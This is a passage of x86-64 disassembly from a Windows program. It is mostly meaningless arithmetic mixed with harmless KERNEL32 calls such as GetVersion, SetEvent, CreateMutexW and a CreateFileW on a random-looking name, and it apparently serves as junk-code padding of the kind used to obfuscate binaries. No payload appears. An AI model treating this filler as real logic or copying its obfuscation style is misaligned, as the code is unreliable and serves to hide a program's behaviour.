mov dword [0x140369c68], eax
mov rax, qword [rsp + 0x131a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a90]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13160]
mov dword [rcx], eax
lea rax, [rsp + 0x491]
mov qword [rsp + 0x13390], rax
mov rax, qword [rsp + 0x13008]
movsx eax, word [rax]
movsx ecx, word [0x140369c60]
and eax, ecx
mov rcx, qword [rsp + 0x13148]
mov word [rcx], ax
mov rax, qword [rsp + 0x13038]
movzx eax, byte [rax]
mov byte [rsp + 0x73f], al
movzx eax, word [rsp + 0x2bac]
movzx ecx, word [rsp + 0x280c]
sub eax, ecx
mov word [rsp + 0x2ba4], ax
mov rax, qword [rsp + 0x131a0]
mov ecx, dword [0x140369b78]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x131f8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7804]
mov ecx, dword [rsp + 0x8f50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x636c], eax
mov rax, qword [rsp + 0x13218]
movzx eax, byte [rax]
movzx ecx, byte [0x140363efd]
sub eax, ecx
mov byte [rsp + 0x337], al
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13020]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140362458], ax
mov rax, qword [rsp + 0x130a8]
mov eax, dword [rax]
mov dword [rsp + 0x9b04], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov eax, dword [0x140369b9c]
mov ecx, dword [rsp + 0x9a14]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9968], eax
mov eax, dword [rsp + 0x59fc]
mov rcx, qword [rsp + 0x13000]
mov qword [rsp + 0x13398], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13398]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x12dd0]
mov dword [rcx], eax
lea rax, [rsp + 0x9a18]
mov qword [rsp + 0x133a0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a08], eax
mov rcx, qword [rsp + 0x12ee0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9af4], eax
mov rax, qword [rsp + 0x12e90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x130b8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x585], al
mov rax, qword [rsp + 0x130a0]
movzx eax, word [rax]
mov word [rsp + 0x2bb4], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x133a8], rax
mov eax, dword [rsp + 0x9a5c]
mov rcx, qword [rsp + 0x12eb8]
mov qword [rsp + 0x133b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x133b0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x132b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13018]
mov ecx, dword [rsp + 0x81e0]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12e88]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x491]
mov rcx, qword [rsp + 0x12ed0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1403525a2], al
movsx eax, word [rsp + 0x1ed0]
mov rcx, qword [0x140369c10]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1e24], ax
movzx eax, byte [rsp + 0x73a]
mov rcx, qword [rsp + 0x13288]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3d2], al
lea rax, [rsp + 0x1588]
mov qword [rsp + 0x133b8], rax
mov rcx, qword [rsp + 0x12fd0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9ae0], eax
mov rax, qword [rsp + 0x13270]
mov ecx, dword [rsp + 0x9adc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9a28], eax
mov eax, dword [rsp + 0x9a80]
mov ecx, dword [rsp + 0x99e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9960], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov rax, qword [rsp + 0x13198]
mov eax, dword [rax]
mov dword [rsp + 0x9b08], eax
mov rax, qword [0x140369bc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x64b0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x59fc], eax
lea rdx, [rsp + 0x42aa8]
mov rcx, qword [rsp + 0x12fb8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9b0c], eax
mov eax, dword [rsp + 0x6b08]
mov ecx, dword [rsp + 0x9a24]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9678], eax
mov rax, qword [rsp + 0x13010]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12f70]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x132c0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1ab8]
mov word [0x140369c6c], ax
mov edx, 0x940
mov rcx, qword [rsp + 0x13168]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9a98], eax
mov rax, qword [rsp + 0x13270]
mov eax, dword [rax]
mov dword [rsp + 0x9b10], eax
mov eax, dword [rsp + 0x9ab4]
mov ecx, dword [rsp + 0x62f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x92e8], eax
mov eax, dword [rsp + 0x9a90]
mov ecx, dword [0x140362464]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8ca0], eax
lea rax, [rsp + 0x99b8]
mov qword [rsp + 0x133c0], rax
mov rax, qword [rsp + 0x12fc0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x132a0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x13010]
mov byte [rcx], al
lea rax, [rsp + 0x2bb0]
mov qword [rsp + 0x133c8], rax
mov rcx, qword [rsp + 0x12fd0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [rsp + 0x73c]
movsx ecx, byte [rsp + 0x731]
shl eax, cl
mov rcx, qword [rsp + 0x12f60]
mov byte [rcx], al
movsx eax, word [rsp + 0x1ed0]
mov rcx, qword [rsp + 0x13098]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2ba0], ax
mov eax, dword [rsp + 0x9ac4]
mov ecx, dword [rsp + 0x9aec]
and ecx, eax
mov eax, ecx
mov dword [0x140362460], eax
lea rax, [rsp + 0x9a88]
mov qword [rsp + 0x133d0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b14], eax
movzx eax, byte [rsp + 0x73d]
mov rcx, qword [rsp + 0x12f28]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x13c], al
lea rax, [0x140362448]
mov qword [rsp + 0x133d8], rax
mov eax, dword [rsp + 0x9a54]
mov ecx, dword [rsp + 0x56e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a14], eax
mov eax, dword [rsp + 0x9960]
mov ecx, dword [rsp + 0x99e4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13358]
mov dword [rcx], eax
lea rax, [rsp + 0x636c]
mov qword [rsp + 0x133e0], rax
mov rax, qword [rsp + 0x12e88]
mov ecx, dword [rsp + 0x9a78]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9ac8], eax
movzx eax, word [rsp + 0x280c]
mov word [rsp + 0x2bb8], ax
movzx eax, byte [0x140363ede]
mov byte [0x140363efe], al
mov rcx, qword [rsp + 0x13078]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x13368]
mov rcx, qword [rsp + 0x131a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9a9c], eax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x4add0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9940], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x133e8], rax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x4acb0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9a1c], eax
mov rax, qword [rsp + 0x13000]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9968]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x73c0], eax
mov rax, qword [0x140369b90]
mov ecx, dword [rsp + 0x9a90]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x81e0], eax
mov rax, qword [rsp + 0x130d0]
mov ecx, dword [rsp + 0x9a48]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x131c0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x99b4]
mov dword [rsp + 0x9b18], eax
mov rax, qword [0x140369bf0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x12f60]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13050]
mov byte [rcx], al
movsx eax, word [rsp + 0x1e24]
mov rcx, qword [rsp + 0x13148]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1938], ax
movzx eax, byte [0x140363efe]
movzx ecx, byte [rsp + 0x72f]
sar eax, cl
mov rcx, qword [rsp + 0x132e8]
mov byte [rcx], al
lea rdx, [rsp + 0x42ae0]
mov rcx, qword [rsp + 0x131c8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9af8], eax
movzx eax, word [rsp + 0x1ab8]
mov rcx, qword [rsp + 0x12e80]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x140352bcc], ax
mov rax, qword [rsp + 0x131a0]
mov rcx, qword [rsp + 0x132d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12f58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13210]
mov eax, dword [rax]
mov dword [rsp + 0x9b1c], eax
mov rax, qword [rsp + 0x12f18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x133d8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13380]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f70]
movzx eax, byte [rax]
mov byte [rsp + 0x740], al
mov rax, qword [rsp + 0x13300]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a40]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13048]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13070]
mov rcx, qword [rsp + 0x13368]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9974], eax
mov rcx, qword [rsp + 0x12be0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [0x14036246c]
mov ecx, dword [rsp + 0x9a54]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x86dc], eax
mov eax, dword [rsp + 0x9b18]
mov ecx, dword [rsp + 0x8ca0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x81e0], eax
movzx eax, byte [rsp + 0x13c]
mov rcx, qword [rsp + 0x12d58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140363ede], al
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x4aa70]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9940], eax
movzx eax, word [rsp + 0x1ab8]
mov word [rsp + 0x2bbc], ax
mov eax, dword [rsp + 0x5284]
mov ecx, dword [rsp + 0x9aa8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x75c4], eax
mov eax, dword [0x140369bc0]
mov ecx, dword [rsp + 0x9aac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x86dc], eax
mov rax, qword [rsp + 0x12f60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6f8]
sub eax, ecx
mov byte [rsp + 0x12c], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
movsx eax, word [rsp + 0x2008]
movsx ecx, word [rsp + 0x1938]
sub eax, ecx
mov word [rsp + 0x1ed0], ax
movzx eax, word [rsp + 0x2a94]
mov word [rsp + 0x2bc0], ax
movzx eax, byte [rsp + 0x733]
movzx ecx, byte [rsp + 0x728]
sar eax, cl
mov byte [rsp + 0x1f3], al
mov rax, qword [rsp + 0x12d88]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13070]
mov qword [rsp + 0x133f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x133f0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5414], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x133f8], rax
mov rax, qword [rsp + 0x131a8]
mov eax, dword [rax]
mov ecx, dword [0x140369bc0]
xor ecx, eax
mov eax, ecx
mov dword [0x140362470], eax
mov rax, qword [rsp + 0x13018]
mov ecx, dword [rsp + 0x8880]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8f14], eax
mov rax, qword [0x140369ba8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b1c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9aa8], eax
mov rcx, qword [rsp + 0x13240]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9ad0], eax
mov rax, qword [rsp + 0x13030]
mov eax, dword [rax]
mov dword [rsp + 0x9b20], eax
movzx eax, word [rsp + 0x2b94]
mov rcx, qword [rsp + 0x13158]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2b8c], ax
lea rax, [0x140363efd]
mov qword [rsp + 0x13400], rax
mov rax, qword [rsp + 0x13108]
mov ecx, dword [rsp + 0x9950]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13260]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9a9c]
mov ecx, dword [rsp + 0x5414]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13070]
mov dword [rcx], eax
lea rax, [rsp + 0x9aac]
mov qword [rsp + 0x13408], rax
mov rax, qword [rsp + 0x132e0]
mov ecx, dword [rsp + 0x81e0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x140369c58]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1c8]
mov rcx, qword [rsp + 0x12f70]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12fc0]
mov byte [rcx], al
lea rax, [rsp + 0x29ac]
mov qword [rsp + 0x13410], rax
mov rax, qword [rsp + 0x12ed0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x491]
and eax, ecx
mov byte [rsp + 0x730], al
mov rax, qword [rsp + 0x13098]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x130c0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
lea rax, [0x140369bc4]
mov qword [rsp + 0x13418], rax
mov rax, qword [rsp + 0x13030]
mov ecx, dword [rsp + 0x82a8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x84ac], eax
lea rax, [rsp + 0x72a]
mov qword [rsp + 0x13420], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2ca1
mov r9d, 0x161f
mov r8d, 0xc663ebf4
mov edx, 1
mov rcx, qword [rsp + 0x12c88]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9a60], eax
mov rax, qword [0x140369ba0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13110]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2b78], ax
mov eax, dword [rsp + 0x9abc]
mov dword [0x140369c70], eax
mov rax, qword [rsp + 0x12ee8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a10]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x131c0]
mov dword [rcx], eax
mov eax, dword [0x14036245c]
mov dword [rsp + 0x9b24], eax
mov rax, qword [rsp + 0x12d68]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x130f8]
mov qword [rsp + 0x13428], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13428]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x133a0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2bb8]
mov rcx, qword [rsp + 0x13308]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1f38], ax
movzx eax, byte [rsp + 0x1f3]
movzx ecx, byte [rsp + 0x337]
sub eax, ecx
mov byte [rsp + 0x735], al
mov dword [rsp + 0x4aef0], 0x11c
mov rax, qword [rsp + 0x13018]
mov eax, dword [rax]
mov dword [rsp + 0x9b28], eax
mov eax, dword [rsp + 0x8ca0]
mov ecx, dword [rsp + 0x84ac]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x132c8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9a34]
mov ecx, dword [rsp + 0x9aec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a94], eax
lea rax, [rsp + 0x73c0]
mov qword [0x140369c78], rax
mov eax, dword [rsp + 0x9a10]
mov ecx, dword [rsp + 0x9ad4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6278], eax
movsx eax, byte [rsp + 0x73e]
mov rcx, qword [rsp + 0x13390]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13050]
mov byte [rcx], al
lea rax, [rsp + 0x1938]
mov qword [rsp + 0x13430], rax
mov rax, qword [rsp + 0x12f70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13400]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x12e90]
mov byte [rcx], al
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x130a0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13020]
mov word [rcx], ax
lea rax, [rsp + 0x9a18]
mov qword [rsp + 0x13438], rax
mov rax, qword [rsp + 0x12fa0]
mov rcx, qword [0x140369b90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9a78], eax
movzx eax, byte [rsp + 0x735]
mov byte [rsp + 0x741], al
mov rax, qword [rsp + 0x13380]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bc0]
sub eax, ecx
mov word [0x140369c6c], ax
mov rax, qword [0x140369ba8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ac4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b1c], eax
mov rax, qword [rsp + 0x13068]
mov rcx, qword [rsp + 0x12ef0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9b08], eax
lea rax, [rsp + 0x9b28]
mov qword [rsp + 0x13440], rax
mov rax, qword [rsp + 0x13298]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x69c8]
shr eax, cl
mov dword [rsp + 0x5284], eax
lea rax, [rsp + 0x2a94]
mov qword [rsp + 0x13448], rax
mov rax, qword [rsp + 0x12d08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12f28]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x732], al
mov rax, qword [rsp + 0x12fc8]
mov eax, dword [rax]
mov dword [rsp + 0x9b2c], eax
mov rax, qword [rsp + 0x12ff0]
mov rcx, qword [rsp + 0x13088]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13030]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13188]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12c]
and eax, ecx
mov byte [0x1403525a2], al
mov edx, 0x12d4
mov rcx, qword [rsp + 0x12be0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9a8c], eax
movsx eax, word [0x140369c60]
mov rcx, qword [rsp + 0x13310]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1e24], ax
movzx eax, word [rsp + 0x2b94]
movzx ecx, word [rsp + 0x1bd4]
imul eax, ecx
mov word [rsp + 0x2740], ax
movzx eax, byte [rsp + 0x630]
mov rcx, qword [0x140369c48]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13038]
mov byte [rcx], al
lea rax, [rsp + 0x9ac0]
mov qword [rsp + 0x13450], rax
mov rax, qword [rsp + 0x130a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99b8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12cf8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b14], eax
mov rax, qword [rsp + 0x12e88]
mov rcx, qword [rsp + 0x12dd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x86dc], eax
mov eax, dword [rsp + 0x9a48]
mov dword [rsp + 0x9b30], eax
mov rcx, qword [rsp + 0x13078]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9b34], eax
mov eax, dword [rsp + 0x92e8]
mov ecx, dword [rsp + 0x6b08]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13350]
mov dword [rcx], eax
mov rax, qword [rsp + 0x131d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13038]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x10e], al
lea rax, [rsp + 0x2b90]
mov qword [0x140369c80], rax
mov rax, qword [rsp + 0x132d8]
mov ecx, dword [rsp + 0x9a64]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9974], eax
lea rdx, [rsp + 0x42a38]
mov rcx, qword [rsp + 0x132f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9af4], eax
mov rax, qword [rsp + 0x131c0]
mov eax, dword [rax]
mov ecx, dword [0x140369bc0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x131a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6278]
mov dword [rsp + 0x9b38], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x13458], rax
mov rax, qword [rsp + 0x12f08]
mov ecx, dword [rsp + 0x9b10]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13028]
mov dword [rcx], eax
lea rax, [0x140363efd]
mov qword [rsp + 0x13460], rax
movzx eax, word [rsp + 0x2b80]
movzx ecx, word [rsp + 0x178c]
sub eax, ecx
mov rcx, qword [rsp + 0x13448]
mov word [rcx], ax
movsx eax, byte [rsp + 0x518]
mov rcx, qword [rsp + 0x12ef8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13050]
mov byte [rcx], al
lea rax, [0x140362454]
mov qword [rsp + 0x13468], rax
lea rdx, [rsp + 0x42990]
mov rcx, qword [rsp + 0x12fb8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9af4], eax
mov eax, dword [rsp + 0x9998]
movzx ecx, al
mov eax, dword [rsp + 0x8e20]
shl eax, cl
mov dword [0x140362474], eax
mov rax, qword [0x140369b90]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12dd0]
mov qword [rsp + 0x13470], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13470]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13198]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x12f80]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x2b80]
mov qword [rsp + 0x13478], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x13480], rax
movzx eax, byte [rsp + 0x739]
movzx ecx, byte [rsp + 0x49c]
or eax, ecx
mov byte [rsp + 0x72f], al
lea rax, [rsp + 0x6b08]
mov qword [rsp + 0x13488], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9944], eax
mov rax, qword [rsp + 0x12f58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a9c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ed8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13300]
mov ecx, dword [rsp + 0x9b2c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9ac8], eax
mov rax, qword [rsp + 0x13108]
mov eax, dword [rax]
mov dword [rsp + 0x9b3c], eax
mov rax, qword [0x140369c80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12ff8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13158]
mov word [rcx], ax
movzx eax, byte [rsp + 0x72b]
movzx ecx, byte [rsp + 0x739]
or eax, ecx
mov rcx, qword [0x140369c38]
mov byte [rcx], al
lea rax, [rsp + 0x9b10]
mov qword [rsp + 0x13490], rax
mov rax, qword [rsp + 0x13198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9730]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12fc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13320]
mov ecx, dword [rsp + 0x9ae8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13018]
mov dword [rcx], eax
lea rax, [rsp + 0x99e8]
mov qword [rsp + 0x13498], rax
mov rcx, qword [rsp + 0x133e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9938], eax
mov rax, qword [rsp + 0x12fd8]
mov ecx, dword [rsp + 0x9a30]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9b24], eax
movsx eax, word [rsp + 0x1ed0]
mov rcx, qword [rsp + 0x130c0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x268c], ax
mov rax, qword [rsp + 0x12ed0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x491]
add eax, ecx
mov rcx, qword [rsp + 0x13390]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1f3]
movzx ecx, byte [rsp + 0x73a]
sar eax, cl
mov byte [rsp + 0x70d], al
mov rax, qword [rsp + 0x13370]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12f18]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x140369c50]
mov word [rcx], ax
lea rax, [rsp + 0x9b10]
mov qword [rsp + 0x134a0], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x2748
mov r8d, 0x3ea1
mov edx, 0xc9
mov rcx, qword [rsp + 0x13140]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9b40], eax
lea rdx, [rsp + 0x428e8]
mov rcx, qword [rsp + 0x13388]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9938], eax
mov rax, qword [rsp + 0x130a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a80]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x134a0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a08], eax
mov rax, qword [rsp + 0x130b8]
movzx eax, byte [rax]
mov byte [rsp + 0x742], al
mov rax, qword [0x140369c18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b84]
or eax, ecx
mov word [rsp + 0x2bb8], ax
mov rax, qword [rsp + 0x12fa0]
mov ecx, dword [rsp + 0x9b08]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5c48], eax
mov rax, qword [0x140369c00]
mov ecx, dword [rsp + 0x9b10]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x132c8]
mov ecx, dword [rsp + 0x9acc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9b08], eax
mov eax, dword [rsp + 0x9b30]
mov dword [rsp + 0x9b44], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.4sAbsjf6PgM8
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x134a8], rax
mov rax, qword [0x140369bb0]
movzx eax, word [rax]
mov word [0x140369c88], ax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x4aa70]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9af4], eax
mov rax, qword [rsp + 0x13120]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x131d8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x741], al
mov rax, qword [rsp + 0x13438]
mov eax, dword [rax]
mov dword [rsp + 0x9b48], eax
mov rax, qword [rsp + 0x131f0]
mov ecx, dword [rsp + 0x59fc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9a24], eax
